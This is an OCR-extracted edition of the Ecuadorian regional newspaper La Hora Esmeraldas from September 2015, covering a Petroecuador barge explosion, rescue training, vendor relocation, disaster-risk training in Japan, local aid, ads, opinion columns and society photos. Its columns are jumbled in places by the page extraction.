Issuu

75c DOMINGO 06 DE SEPTIEMBRE DE 2015

Esmeraldas

Número total de ejemplares puestos en circulación: 35.828

Medidas por el comercio informal

DAÑO. La barcaza en la actualidad está hundida en la proa, eso como consecuencia de la fuerte explosión.

Ya han transcurrido ocho meses desde que la Comisaría Municipal de Esmeraldas reubicara a cerca de 120 comerciantes informales en el Paseo de la Prensa. En este lapso, aún no se ha terminado la readecuación del sitio ubicado en la calle Pedro Vicente Maldonado, que antes fue usado como mercado de artesanías, para el traslado de los vendedores.

Siete son los heridos en explosión de barcaza Determinar causas y posibles culpables será parte de los ejes investigativos. A partir de la siguiente semana, un grupo de peritos empezará a investigar las causas de la explosión de una barcaza de Petroecuador en el Puerto Pesquero, que dejó como resultado trágico la muerte de una persona y siete heridos. Los investigadores asignados por la autoridad marítima deberán entregar un informe detallado

de lo ocurrido el pasado miércoles, mientras un grupo de personas daba mantenimiento a una embarcación que estaba sobre la barcaza acoderada en el Puerto Artesanal Pesquero de Esmeraldas. La Empresa Pública Petroecuador, dueña de la barcaza, hizo público un comunicado en el que afirma que asumirá todos los

gastos que genere la recuperación de los heridos y mortuorios de su trabajador. Entre las conjeturas que maneja la Capitanía del Puerto de Esmeraldas, está que una chispa -no precisan qué la generó- mezclada con una concentración de gases acumulados de combustible en los compartimentos de la barcaza, provocó la mortal detonación, pese a ello se esperará el informe oficial.

Página A4

Mujeres listas para salvar vidas Con la finalidad de preparar a un grupo élite que esté capacitado para salvar vidas atrapadas en edificios, elevadores o en derrumbes, durante sismos e incendios, así como a víctimas de accidentes por descarga eléctrica y/o suicidio, el Cuerpo de Bomberos de Esmeraldas con la participación de expertos venezolanos en calidad de tutores, durante dos semanas realizó un seminario teórico-práctico que permitió capacitar a personal de la Policía Nacional, Cuerpo de Bomberos, infantes de Marina, policías municipales y activistas del Grupos Especial de Ayuda Humanitaria (GEAH). En la capacitación, que concluyó el viernes anterior, se abordaron temas importantes como

incl. IVA

Esa obra al momento registra un avance del 70% y se espera sea entregada en un mes, para su ocupación inmediata. Paralelo a este proceso se desarrolla el de la reubicación de los expendedores de jugos que utilizaban triciclos, de los vendedores de frutas y de comidas en la vía pública del centro de la ciudad.

Página A3

DISPOSICIÓN. En el centro de la ciudad el Municipio de Esmeraldas no permitirá la presencia de vendedores informales. PÁIS

Aborto sigue siendo ilegal Página B2 - B3

Solidaridad ante tragedia Tras perder todo en un incendio en el recinto Chaflú, de la parroquia Chinca, Carmen Baltán recibió ayuda de la Unidad de Amparo Social del Municipio de Esmeraldas y del Distrito Uno del Ministerio de Educación. Los afectados por el flagelo,

provocado por la fuga de gas, recibieron enseres de cocina, cama, colchón y kits escolares. Actualmente viven en la casa de un familiar en el mismo sector, mientras realizan las gestiones para conseguir una nueva vivienda a través del Miduvi. Página A5

www.lahora.com.ec lahoraecuador PRACTICAS. Los participantes realizaron sus prácticas en edificios altos de la ciudad de Esmeraldas.

auxilio para extraer víctimas atrapadas en estructuras colapsadas como edificios o vehículos, sobre todo cuando se requiere el uso de un equipo especial para su salva-

mento. En este acto se destacó la participación de valerosas mujeres que demostraron destrezas y habilidades para esta tarea.

Página A2

@lahoraecuador

CYAN MAGENTA YELLOW BLACK

esmeraldas

Mujeres adiestradas en rescate de altura

CIUDAD A2 P

P93779

tiempo lectura 10 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015

La Hora ESMERALDAS

Estarán listas para prestar ayuda en el momento de suscitarse algún evento adverso en la provincia. El Cuerpo de Bomberos de Esmeraldas con los instructores venezolanos Maikol Bautista y Javier Moreno, desde hace dos

semanas vienen realizando un seminario de capacitación en salvamento de personas atrapadas en edificios, elevadores, derrumbes, durante sismos e incendios, así como a las víctimas de accidentes por descarga eléctrica y a aquellos que intentan el suicidio. Leidy Nieves, policía municipal de Esmeraldas, se interesó por capacitarse en rescate de víctimas y por dos ocasiones repitió el descenso vertical por la pared de un edificio de construcción de cuatro pisos. Mientras que a Ana Rueda, policía asignada a la Unidad de Policía Comunitaria (UPC) del barrio Santa Marta, le tocó rescatar a un miembro de la Infantería de Marina que estaba atrapado en el tercer piso del mismo edificio. 31 participantes

En esta capacitación participan 15 bomberos, 5 policías, 3 infantes de Marina, 5 policías municipales y 3 activistas del Grupo Especial de Ayuda Humanitaria (GEAH) quienes demostraron mucha habilidad y destreza en la realización de esta práctica. En el seminario-teórico práctico que concluyó el viernes anterior, se abordaron temas importantes como auxilio para extraer víctimas atrapadas en estructuras colapsadas como edificios o vehículos, sobre todo cuando se requiere el uso de equipos especiales para el salvamento. Maikol Bautista es experto con 28 años de trabajo en Operaciones Helitransportadas de Emergencia, en Venezuela,

mientras que Javier Moreno tiene 12 años como bombero y es especialista en Rescate de Edificios Altos (REA). “Es por ello que se integró a socorristas de otras instituciones para tener un grupo solidario y participativo de servicio de rescate y auxilio médico prehospitalario para la ciudadanía que lo requiera en situaciones de emergencia”, comentó José Vivero, comandante del Cuerpo de Bomberos de Esmeraldas. Edificaciones altas

“En Esmeraldas y en los balnearios de Atacames, Tonsupa, Same, Las Peñas y Mompiche hay edificaciones de varios pisos y se requiere de personal especializado para una emergencia”, comentó Andrés Peña, coordinador nacional del GEAH. Luego de esta capacitación se tiene previsto el curso sobre incursión y rescate acuático para personas aprisionadas o aisladas por algún cuerpo de agua o que hayan fallecido por ahogamiento. Los ejercicios de rescate se realizaron lunes y martes en un edificio en construcción en el valle San Rafael; el jueves anterior en el Cuerpo de Bomberos y el viernes último en el edificio de la Mutualista, calles Simón Bolívar y Manuela Cañizares. En la capacitación se contó con mujeres participantes como Leidy Nieves, policía municipal; Ana Rueda, de la UPC del barrio Santa Marta; Érika Quiñónez, bombera, y Vannessa García, del área administrativa del Cuerpo de Bomberos. (MES)

MUJERES. Esmeraldas cuenta con mujeres preparadas para salvar a personas atrapadas en edificios, elevadores, derrumbes o durante sismos e incendios.

Becarios esmeraldeños en Japón Los municipios de Esmeraldas, Atacames y Muisne son parte de las localidades beneficiadas para el fortalecimiento de las capacidades comunitarias para la Reducción de Riesgos de Desastres por Tsunami. Junto a ellas están Pedernales, San Vicente, Salinas, Portoviejo, Playas y Santa Cruz. La iniciativa es implementada por la Secretaría de Gestión de Riesgos (SGR) y la Agencia de Cooperación Internacional de Japón (JICA) por tres años. La implementación comenzó con un encuentro en la ciudad nipona de Nagoya, en la costa del Pacifico, que inició el 24 de agosto y terminará el 11 de septiembre.

Participantes

Participan como becarios los jefes de las Unidades de Gestión de Riesgo (UGR) de los nueve cabildos mencionados; el responsable de la Unidad de Preparación y Respuesta de Esmeraldas de la SGR, Betto Estupiñán; los responsables de la SGR de Manabí, Santa Elena y Galápagos; y funcionarios de la SGR matriz. Ellos han visitado territorios como prefecturas de Tokio, Shizuoka y Mie, los municipios de Shinyuku, Taiki, Shima y Toba donde han recibido cátedras magistrales de los expertos japoneses y de las universidades locales. También han visitado obras de mitigación, de fortalecimiento comunitario, se han realizado simulacros en barrios e instituciones educativas, a propósito de que se conmemora en esa nación la Semana de Reducción de Riesgos de Desastres, para recordar terremotos tsunamigénicos pasados.

CIUDAD I

Aprender de experiencias

Cristina Ocaña, de la UGR de Atacames, resaltó el trabajo articulado desde la SGR con los municipios, que “permite aprender de las experiencias de Japón, que es un país avanzado en ese ámbito, para implementarlas para reducir de Riesgos de Desastres, apoyados en el Código Orgánico de Organización Territorial, Autonomías y Descentralización (Cootad) y en la Constitución de la República del Ecuador”. Ello en referencia a las competencias de los municipios en manejo de riesgos e implementación de obras estructurales y no estructurales, modelo que es similar a la organización de la nación visitada. (JSG)

EXPERIENCIA. Funcionarios esmeraldeños se capacitan sobre Reducción de Riesgos de Desastres por Tsunami, en Japón.

ACTIVIDAD. Ya son ocho los meses que llevan los comerciantes informales en el Paseo de la Prensa. Mientras, ahora se habla de reubicar también a los vendedores de jugo, fruta y comida.

Dos escenarios

El gobierno central y las gobernaciones prefecturales de Japón consideran dos escenarios para la planificación: mayor histórico con una intensidad 6+ en la Escala Japonesa, con un epicentro en la Fosa de Nankai; y mayor Teórico con una intensidad de 7 en la escala japonesa, en la prefectura de Mie, Tokio y Shizuoka. Los municipios de Esmeraldas, Atacames y Muisne deberán elaborar un plan de acción que incluirá medidas de mitigación, preparación y prevención, con un horizonte de dos años. “La SGR brindaría asistencia, seguimiento y monitoreo periódico a los planes municipales, asimismo la Cooperación Internacional visitará dentro de un año para articular actividades”, explicó Estupiñán, en referencia a la aplicación de las experiencias adquiridas.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

Comercio informal fuera del área central

El objetivo municipal es liberar la zona céntrica de la ciudad de vendedores. Para ello se los reubicará. Mañana, se cumplirán ocho meses desde que los casi 120 comerciantes informales de la calle Simón Bolívar, entre 10 de Agosto y Vicente Rocafuerte, fueron ubicados temporalmente en el Paseo de la Prensa. Inicialmente se habló de un periodo máximo de 90 días para ocupar la zona, luego de lo que se los instalaría en el antiguo mercado de artesanías, ubicado en la parte posterior de la plaza cívica Nelson Estupiñán Bass. Mas, debido a que no se cumplió ese plazo no se volvió a dar una fecha tentativa para la reubicación que realizaría la Comisaría Municipal. El traslado dependería de la terminación de las adecuaciones en el sitio escogido, que ahora es llamado mercado de Misceláneos. Avance de obra

La adjudicación de la obra, conforme con los procedimientos que se aplican en estos casos, se anunció a inicios de julio cuando se estableció un plazo de 60 días para su culminación. Al momento, según el comisario municipal, Marco Saavedra, los trabajos tienen un avance del 70%. Se espera que dentro de un mes se entregue la construcción, con lo que se extendería el tiempo del que se hablaba tras la adjudicación al contratista. Inmediatamente se trasladará a los comerciantes informales a los 140 puestos que, actualmente, sólo esperan los acabados. “Ya están casi listos, sólo faltan los acabados”, aseguró Saavedra. Para entonces ya estarían determinados los valores que cada vendedor deberá cancelar por su ocupación. El costo estaría establecido a través de una ordenanza que deberá ser aprobada por el Pleno del Concejo Cantonal de Esmeraldas. Expectativa

El valor a pagar es algo que preocupa un poco a José Vélez,

maestro relojero calificado como artesano, quien es parte de los informales del Paseo de la Prensa, debido a que con sus ingresos mantiene a seis hijos. Por ello está pendiente de la información que se emite sobre el avance de las adecuaciones y su salida de la calle. “No nos oponemos al cambio en la ciudad pero esperamos que sea en condiciones favorables para nosotros”, dijo el comerciante. Pese a las preocupaciones por lo que considera “una situación económica difícil en el país y el mundo”, confía en que las cosas mejorarán porque su experiencia de 25 años trabajando en la calle le ha enseñado a mantener la calma. Mientras esa es la situación de los informales de la calle Bolívar, el comercio en los triciclos se realiza de manera irregular. A mediados de la semana que concluyó, la Comisaría Munici-

pal retiró a quienes utilizaban estos vehículos para expender jugos, frutas y comida de calles longitudinales y transversales del centro. Prohibido ocupar vía

Según la disposición sólo se podrá ofrecer las bebidas en cooler con los que se recorrerá la ciudad, quedando prohibido ocupar la vía pública para estacionarse en el tramo de las calles Juan Salinas hasta la Juan Montalvo, desde la José Joaquín de Olmedo a la Pedro Vicente Maldonado. La medida fue recibida con preocupación por José Andrade, adulto mayor que trabajaba en la calle Olmedo y que ahora espera su negocio de jugos no se vea afectado económicamente porque necesita los ingresos para pagar sus medicinas. “Hay que respetar lo que dice la autoridad. Lo importante es seguir trabajando”, señaló. (JSG)

IMPORTANTE MULTINACIONAL Requiere seleccionar para el crecimiento de su empresa:

QUE REÚNAN LOS SIGUIENTES REQUISITOS: - Residir en Esmeraldas - Experiencia en venta de productos intangibles - Excelente presencia ejecutiva - Alta motivación de logro y competitividad - Facilidad de entablar diálogo - Excelentes relaciones interpersonales - Perseverante y con deseos de superación - Seguridad en sí mismo y en la negociación LA EMPRESA OFRECE : - Atractivo sistema de compensación: sueldo, comisiones y plan de incentivos y beneficios ALCANZABLES DE $ 1.500 o más - Oportunidades de crecimiento - Capacitación permanente con estándares Internacionales - Apoyo contínuo en sus funciones - Excelente ambiente laboral

LOS INTERESADOS ENTREGAR SU CURRICULUM CON FOTO ACTUALIZADA al E-MAIL dluna@fondosgenesis.com hasta el Miércoles 09 de Septiembre de 2015

CIUDAD A4

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

Investigarán explosión de barcaza de Petroecuador

Jurado de capitanes y peritos determinarán causa de explosión de barcaza que mató a una persona. ¿Qué provocó la explosión de la barcaza en el Puerto Artesanal Pesquero de Esmeraldas? ¿quiénes son los responsables? Transcurridos cuatro días del siniestro que mató a una persona e hirió a siete más, son preguntas sin resolver. Estas interrogantes serán parte de las responsabilidades del Jurado de capitanes y peritos nombrados por las Fuerzas Armadas a través de la Capitanía del Puerto de Esmeraldas, que por ser un hecho marítimo asume el rol de autoridad. Los investigadores empezarán su trabajo a partir de la siguiente semana y se basarán en hipótesis y en la recolección de evidencias de la barcaza de Empresa Publica Petroecuador, embarcación que tras la detonación fue afectada y quedó con un hueco en la proa que generó su hundimiento parcial. Riesgo latente

El estado de la barcaza utilizada para reparar embarcaciones menores, preocupa al capitán del puerto de Esmeraldas, Guillermo Donoso. Él, envió una solicitud a la autoridad princiP P1935

pal de Petroecuador para que se disponga de manera inmediata el reflote que evite posible contaminación con combustible e incluso una futura explosión. Entre las conjeturas que maneja la Capitanía del Puerto, está que una chispa -no precisan qué la generó- fusionada con una concentración de gases acumulados de combustible en los compartimentos provocó la detonación ocurrida mientras se dada manteamiento una lancha. “Por ahora no se puede precisar nada de lo sucedido, los peritos presentarán un informe al Jurado de capitanes y ellos decidirán qué pasó y quiénes son los responsables… de ser el caso”, detalla Donoso, agregando que los capitanes recomendarán al Juez competente la posible sanción para los implicados. Indemnización

Previo a la profunda investigación que no tiene fecha de caducidad, la Capitanía del Puerto elaboró una información sumaria dirigida a la Gobernación por representar al Ejecutivo y a las Fuerzas Armadas como ente responsable del control

AFECTACIÓN. La barcaza como consecuencia de la explosión tiene hundida su proa, se requiere de su urgente reflote.

marítimo. Como resultado de la explosión ocurrida en el tanque de slop de la barcaza murió Juan Carlos Orejuela Reyes, que dejó dos hijos en la orfandad, y, además, resultaron heridos Pedro Marín, Cristian Ramírez, Do-

mingo Clavijo, Edmundo Pailacho, José Montaño, Ermel Granda y Nelson Paute. El gerente general de la Empresa Publica Petroecuador, Carlos Pareja Yannuzzelli, tras visitar a los heridos en Quito, aseguró que la entidad asumirá

todos los gastos de recuperación de los afectados y ratificó la cobertura de la empresa “para asumir todos los gastos que demande el sepelio del servidor de la EP-Petroecuador”, cita un informe de la entidad petrolera. (MGQ)

Reserva natural demanda agua El hogar temporal de aves y otras especies ubicado en el sector de Colope, parroquia Camarones, vía al norte de Esmeraldas está con problemas se sequía por la falta de agua potable, según lo informó el administrado Byron Garcés. Él, junto a su esposa son los encargados de regar a diario las cerca de 2.000 plantas sembradas en dos hectáreas de terreno. “Es una reserva natural que está en riesgo, ¡por favor ayúdennos con el agua!” solicitó el hombre que tiene el lugar para acoger a los amantes de la naturaleza. Precisa que para mantenimiento al lugar ubicado junto a la playa y la carretera principal, se requiere unos 16 metros cúbicos de agua cada 15 días, cantidad con la que no cuentan, pese a que cada mes paga 22 dólares por el consumo que marca el medidor de agua instalado en su propiedad. ‘No me entregan’

Garcés dice que hace público el caso debido a que en la zona hay otras propiedades que sí reciben el líquido vital que provee la Empresa de Agua, pero que a él no se le entrega pese a que lo ha soli-

DIFICULTAD. Debido a que la reserva natural no cuenta con agua permanente, no se ha elaborado un sistema de riego, por ello se debe regar las plantas de manera manual.

citado a los distribuidores. “En su momento denuncié el cobro del agua que entrega los tanqueros de la Empresa de Agua y en vez de solucionar el problema, al perecer, tomaron represalias”, lamentó el agricultor, que mañana lunes acudirá a la Empresa de Agua en Esmeraldas para que le ayuden con el

líquido vital. Asegura que de ser el caso está dispuesto a pagar un precio módico por cada tanquero de agua para evitar que las rosas, árboles frutales, cítricos y de otras especies se mueran y con ello genere la migración de las aves que acuden al hogar natural acondicionado para ellas. (MGQ)

Alcalde ofrece obras para barrio El Paraíso Construcción de aceras, bordillos, casa comunal y reconstrucción de las canchas de uso múltiple del barrio El Paraíso de la isla Santa Cruz, es el compromiso asumido por el alcalde del Gobierno Municipal de Esmeraldas, Lenin Lara Rivadeneira, con las familias que por muchos años vienen demandando obras de embellecimiento del lugar que está asentado en la ribera del Esmeraldas. Amada Lozano a nombre de la comunidad, dio la bienvenida a las autoridades y su comitiva, quien su intervención la orientó al pedido de apertura de calles, construcción de un malecón que conduzca al río, legalización de escrituras y

CIUDAD I

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

combate a la delincuencia. Tecnología de punta

Entre los acuerdos están el mantenimiento y reparación del sistema de alcantarillado sanitario, para lo cual se aplicará tecnología de punta que permita diagnosticar los daños sin tener que abrir las calles. Por otra parte, la Unidad de Amparo Social del Gobierno Municipal en su afán por beneficiar a personas con problemas de movilidad y de escasos recursos económicos, entregó a Ester Bone Ortiz un caminador y un colchón, mientras que para Carlos Ángulo Valencia una silla de ruedas y un kit de alimentos. (MES)

ENTREGA. Enseres de cocina, cama, colchón, vajilla y kits escolares recibió la familia de Carmen Baltán Coral, quien perdió su vivienda de dos pisos por el incendio debido a una fuga de gas, en Chaflú.

Familia damnificada recibe ayuda social

A causa de la inflamación de una cocina industrial se produjo un incendio que destruyó una casa.

Cuerpo afectado

Agregó que parte del cofre mortuorio y del cadáver también se quemaron por el incendio; incluso un vecino que rescató a una persona que estaba dormi-

da en el segundo piso de la casa siniestrada resultó ileso, gracias a Dios. El fuego no pudo ser controlado por los moradores del sector y cuando arribaron los bomberos de Esmeraldas y Viche la casa ya estaba destruida. Alexandra García, presidenta del Consejo de Participación Ciudadana, realizó gestiones para conseguir la ayuda para las seis personas, entre ellas cuatro niños, de las dos familias que ha-

bitaban en la casa afectada. Carmen, ahora reside en la casa de un familiar en el mismo sector, en tanto se realizan las gestiones para conseguir una nueva vivienda a través del Miduvi. La entrega fue realizada por parte de la presidenta de la Unidad de Amparo Social, Edilma Muñoz, quien dijo que se dio repuesta a este pedido como se lo ha hecho también a otras familias de Chaflú, por otras circunstancias. (MES)

COMPROMISOS. La construcción de aceras, bordillos, casa comunal y reconstrucción de las canchas de uso múltiple, se realizará en el barrio El Paraíso de la isla Santa Cruz, por ofrecimiento del Alcalde.

p94316

EL BATALLÓN DE INFANTERÍA MOTORIZADO No 13 “ESMERALDAS” El Batallón de Infantería Motorizado No 13 “ESMERALDAS” informa a las personas naturales y/o jurídicas nacionales, a presentar sus ofertas para participar en el proceso de contratación para el Arrendamiento de las Instalaciones de la cocina para proveer el SERVICIO DE ALIMENTACIÓN (desayuno, almuerzo, merienda) al personal militar que labora en el Batallón De Infantería Motorizado No 13 “Esmeraldas” Nota: Los ofertantes deberán presentarse en la oficina de Compras Públicas del Batallón de Infantería Motorizado No 13 “ESMERALDAS” el día martes 08 de septiembre de 2015, a partir de las 09H00 a 12H00 y de 14H30 a 17H00, con la finalidad de que puedan receptar los pliegos y bases para el presente proceso. Dirección: Vía vuelta larga, sector La Propicia vía Atacames frente al Comando de Policia de Esmeraldas MIGUEL ORELLANA CORONEL - TCRN. DE E.M. PARAC. COMANDANTE DEL BATALLÓN DE INFANTERÍA MOTORIZADO No 13 “ESMERALDAS”

P.AR/100970

Enseres de cocina, cama, colchón, vajilla y kits escolares recibió la familia de Carmen Baltán Coral, quien perdió su vivienda de dos pisos producto de un incendio debido a la fuga de gas, flagelo que se produjo mientras velaban el cadáver de un adulto mayor, hace unos días atrás. La ayuda llegó de la Unidad de Amparo Social del Municipio de Esmeraldas y del Distrito Uno del Ministerio de Educación. El incendio estructural destruyó todas las pertenencias y los dos pisos de la vivienda de construcción de cemento y madera. Este caso ocurrió en el barrio Nuevas Brisas, del recinto Chaflú, parroquia Chinca, cantón Esmeraldas. Yomaira Cuero, hija de Carmen Baltán, relató que eran las 19:00 cuando las llamas aparecieron luego de que se inflamó una cocina industrial por el escape de gas del tanque. “La cocina la prestaron unos vecinos para preparar la comida para los asistentes al velorio por segundo día del cadáver de mi abuelita Olga Coral, de 96 años de edad”, narró Yomaira.

esmeraldas

CYAN MAGENTA YELLOW BLACK

OPINIÓN A6 DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

Hemos de proceder de tal manera que no nos sonrojemos ante nosotros mismos”.

El primer signo de la corrupción en una sociedad que todavía está viva es ‘el fin justifica los medios’”.

BALTASAR GRACIÁN ESCRITOR Y FILÓSOFO ESPAÑOL (1601-1658)

GEORGES BERNANOS ESCRITOR FRANCÉS (1888-1948)

CARTAS Motociclistas imprudentes

Producto de la imprudencia de un motociclista, casi tuve un accidente mientras iba en un taxi a mi trabajo en horas de la mañana del viernes, que por querer llegar pronto, me imagino, al sitio de su destino casi vuela por encima del vehículo, de no ser porque el taxista iba prevenido y a la velocidad permita, los resultados habrían sido fatales. Da mucha pena que las muertes más frecuentes se produzcan por la imprudencia e irresponsabilidad de los conductores de motocicletas. Las instancias de tránsito deben tomar alguna acción respecto a este problema, porque se ha constituido así para que no siga habiendo más víctimas por esta ligereza. A los operadores de este transporte les pido que valoren su vida y la de los demás, que cuando usen un vehículo para movilizarse que lo hagan con responsabilidad y prudencia para evitar más muertes. Claudia Mideros Funcionaria pública.

Limpiemos nuestro entorno

Se anuncia la llegada del fenómeno climatológico conocido como El Niño y que, según los especialistas, podría ser uno de los más fuertes registrados en los últimos 65 años. Esta información bebe alertarnos a todos, no en el sentido de asustarnos o que entremos en pánico, sino a motivarnos a realizar acciones que eviten mayores desgracias. Este fenómeno natural provoca lluvias constantes y fuertes y por esto colapsa casi todo sistema de alcantarillado de las ciudades incluida el de nuestra ciudad de Esmeraldas. Por ello, es importante que cada uno de los ciudadanos tomemos la iniciativa de limpiar nuestro entorno para evitar que las aguas nos afecten y no sólo esperar a que instituciones como la Empresa de Agua Potable y Alcantarillado (EAPA) San Mateo o el Municipio hagan las acciones preventivas. Mariana Valverde Profesora. DIRIJA SUS CARTAS A: cartasaldirector@lahora.com.ec Casilla 1717243 CCI o cualquiera de nuestras agencias. Requisitos: Nombres y apellidos completos; número de Cédula; teléfono (fijo); dirección domiciliaria o de trabajo y correo electrónico.

Crisis y eleCCiones

Tras mostrar un desesperado apego al poder y ante la indignación ciudadana, Otto Pérez Molina tuvo que presentar su renuncia como Presidente de Guatemala. Y de su despacho pasar a la cárcel. El exgeneral que prometió combatir la corrupción, debió dimitir por corrupto, luego de que un juez emitiera una orden de aprehensión por el escándalo de sobornos que llevó a prisión a la exvicepresidenta y a otros altos integrantes del Gobierno. La Fiscalía y la Comisión Internacional contra la Impunidad, entidad adscrita a la ONU, anunciaron la desarticulación de una organización criminal integrada por empleados públicos que, presuntamente, recibieron dinero de empresarios para que les ayudaran a evadir impuestos. Y, al parecer, Pérez Molina era el jefe. SAMUEL CAICEDO BONILLA

¿Para qué sirven los líderes? ¿Para qué sirven los líderes? Los líderes sirven para conducir a las naciones en la solución de sus problemas más sentidos; para conducirlas a resolver los problemas que afecten a la mayoría como la pobreza, la injusticia, la explotación, la miseria, la inequidad. Y digo para conducir a la sociedad, porque no es que la pobreza sólo afecta a los pobres porque entonces la pobreza no sería problema de la sociedad, sino que de los pobres. Pero en realidad la pobreza afecta a todos, afecta también a los ricos, la pobreza es caldo de cultivo para el delito; la pobreza disminuye la capacidad adquisitiva de la mayoría de la población y eso es mortal para la industria, para el comercio,

Como suele ocurrir en otros países, el desprestigio del Régimen empezó cuando se hizo evidente el descaro con que funcionarios de todo nivel entraron a expoliar los bienes del Estado: de la noche a la mañana levantaban mansiones de lujo, viajaban cada rato al exterior y se movilizaban en autos cuyos precios están muy por encima de sus ingresos normales. Curiosamente, Guatemala celebrará hoy comicios generales para elegir a sus autoridades para el período 2016-2020, incluidos Presidente y Vicepresidente, además de 158 diputados, 20 legisladores al Congreso y 338 corporaciones municipales. Ojalá las elecciones y la crisis política sean una oportunidad de cambios serios. Que se avance, finalmente, en las reformas que la ciudadanía demanda y se acabe tanta corrupción.

para el desarrollo económico de los pueblos; la pobreza genera resentimientos entre los más pobres y el resentimiento es boicot para el trabajo, es pereza, es lentitud, es atraso y subdesarrollo. La sociedad tiene muchos problemas y cada problema es una contradicción como cuando quiero abrir la puerta y no tengo la llave, ahí se da una contradicción entre la puerta y mi persona y una solución pudiera ser, romper la puerta a la fuerza y resolver la contradicción por la fuerza, pero existen otras soluciones que no son la fuerza y entonces los líderes deben saber escoger las soluciones y conducir a su pueblo hacia las mejores soluciones, ese es el papel del líder. Si todo problema es una contradicción, en la contradicción siempre hay un elemento activo que la dirige, que la lidera y ese ha sido el papel de los trabajadores en el desarrollo de la sociedad a través de la historia o el empuje que han dado los más pobres en estas transformaciones; así fueron los

esclavos quienes terminaron con el esclavismo y los siervos los que derrocaron a la monarquía en la Revolución Francesa y sigue siendo ese el papel de los trabajadores y, sobre todo, de los pobres. Y es que como decía Mao Tse Tung: “Apóyate en los pobres y dentro de los pobres en los más pobres”; ahí está la capacidad de los líderes, encontrar cuál es el elemento activo de la contradicción y cuál el que identifica la solución como cuando queremos educar a un adolescente y un padre a la antigua, quizás lo encierra en la casa o lo encadena a la mesa, pero un padre moderno lo educa, lo forma, se acerca a él y resuelve la contradicción de esta otra forma. Existen sectores sociales que tienen una dinámica innata como son los trabajadores y en general, pero también lo son los jóvenes y ahí los jóvenes más pobres, así como el sector femenino y replicamos la fórmula, las mujeres más pobres. samuelcaicedo5@gmail.com

JORGE NIEVES QUINTERO

Un mundo sin el Dios único y verdadero “Mi reino no es de este mundo”, dice el Señor (Jn 18: 36) como para anticipar que esta no es la vida verdadera, la resurrección, el reino y la vida eterna. Este es el mundo del demonio, con sus falsos dioses, donde el hombre es rey, donde la criatura y sus hechuras son dioses. La imagen del niño sirio que muere ahogado recogido en una playa de un país extraño huyendo de la violencia de su país, después de haber implorado asilo en la frontera de otro país (¿quién inventó las fronteras?) y existen tantas instituciones “humanitarias”. Este es el ejemplo real, exacto de en lo que se ha convertido la humanidad y este mundo, un mundo de miserias humanas, violencia humana, un mundo sin humanos, un mundo en el cual el error macro es haberse apartado del Dios único y verdadero (Is 43: 11, 13) (Is 44: 6,7) haber olvidado al Dios creador y centro de nuestras vidas. Luego hicieron dar la vuelta al mundo a las imágenes del niño ahogado cuando era retirado su cadáver de la playa y utilizaron su ciencia y tecnología para mostrar su trofeo de maldad, su egoísmo, su hipocresía disfrazada de tristeza, un mensaje claro, contundente para el resto de la humanidad que pueda estar pensando que existe un Dios que es Amor, Misericordia, Perdón. En este mundo del conocimiento, la ciencia y la tecnología; la maldad, el caos, la violencia y la muerte están garantizados y que el bien, el amor, la solidaridad, la misericordia no son ni utopías siquiera. En este mundo donde el hombre se cree dios engañado por el demonio, queda bien claro que el conocimiento y la ciencia no son para la justicia y la equidad, sino para el caos, el odio y la muerte. “Yo he venido al mundo no para juzgarlo sino para que el mundo se salve a través de mi”, dice el Señor (Jn. 12: 46, 48). jorgenievesq@gmail.com

Diario liberal, agnóstico e inclusivo. Respetuoso y defensor de los Derechos Humanos. Presidente Nacional FRANCISCO VIVANCO RIOFRÍO Directora Adjunta JUANA LÓPEZ SARMIENTO Subdirector ALEJANDRO QUEREJETA BARCELÓ Editor General LUIS EDUARDO VIVANCO ARIAS Editor Esmeraldas ADRIANO ALVARADO VÉLEZ Editorial Minotauro S.A. Dirección: Bolívar y Rocafuerte esquina (4to. piso) Teléfonos: 062 724490 062723 882 062 723 866 Email: esmeraldas@lahora.com.ec Año: XXIV No. 8.408

www.lahora.com.ec Los escritos de los colaboradores sólo comprometen a sus autores y no reflejan el pensamiento del periódico, que se expresa en su Editorial.

Amena reunión Agradable visita entre colegas En parrilladas ‘El Toro’ un grupo de amigas se reunió para festejar el Día Internacional de la Obstetriz. Durante la velada se recordaron anécdotas, bromas y se brindó con vino por la ocasión.

La cámara de Diario La Hora visitó a una de sus leales clientas de subscripción del frigorífico ‘La Hacienda’.

Mariana Isaura Alvarado, propietaria del frigorífico ‘La Hacienda’.

Atentos

GENTE S

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

Leila Rentería mientras se informaba del acontecer local, nacional e internacional, clienta de ‘La Hacienda’.

Saliendo de la rutina captamos a grupos de amigos que se divierten cada fin de semana.

Sandra España, Farahnaz Garcés y Silvia Valencia.

Raquel Yannuzzelli, Susana Espinoza y Ruth Ferrer.

Contentas estuvieron Viviana y Carmen Ferrín.

Érika Albán, Viviana de Cabezas y Carmen Sol.

P1946

Laura Bass, Paola Nazareno y Mariana Mina.

CYAN MAGENTA YELLOW BLACK

GENTE GENTE A8

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

ESMERALDAS

Recepciones elegantes

Durante el fin de semana se celebraron varios acontecimiento, en los que los invitados asistieron elegantes y a la moda. Trajes formales y vestidos al cuerpo eran las principales atracciones.

Mariuxi Cuero, Yolanda Cuero, Ramiro Riera y Esperanza Cuero.

Vianka Marcillo y Antonella Marcillo.

Jackson Nery, Alexis Carvajal y Luis Meza.

Jéssica Ayoví y Gabriela Mera.

Roque Vera, Lupe Moreno, Ítalo Pérez y Juanita de Bucheli.

Estudiantes de la Universidad Vargas Torres, de la carrera de Hotelería y Turismo estuvieron atentas a la foto.

PAÍS B1

Utilice aquí un lector de código QR

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 I La Hora ECUADOR

LOS + ONLINE DE LA SEMANA

lahoraecuador Los 92 años de Don Ramón

° El post favorito de esta semana en nuestra cuenta en la red social Facebook fue la publicación de un pequeño homenaje realizado por La Hora a ‘Don Ramón’, quien el pasado 2 de septiembre hubiera cumplido 92 años. 5.697 ME GUSTA

Ecuatorianos compran en Colombia

° La publicación sobre los ecuatorianos que han

optado por realizar sus compras en el país vecino fue otra de las favoritas por nuestros lectores. 872 ME GUSTA

Dijo que le gustaba ser el centro de atención. Carlos Pérez, su pareja, considera que es un discurso machista.

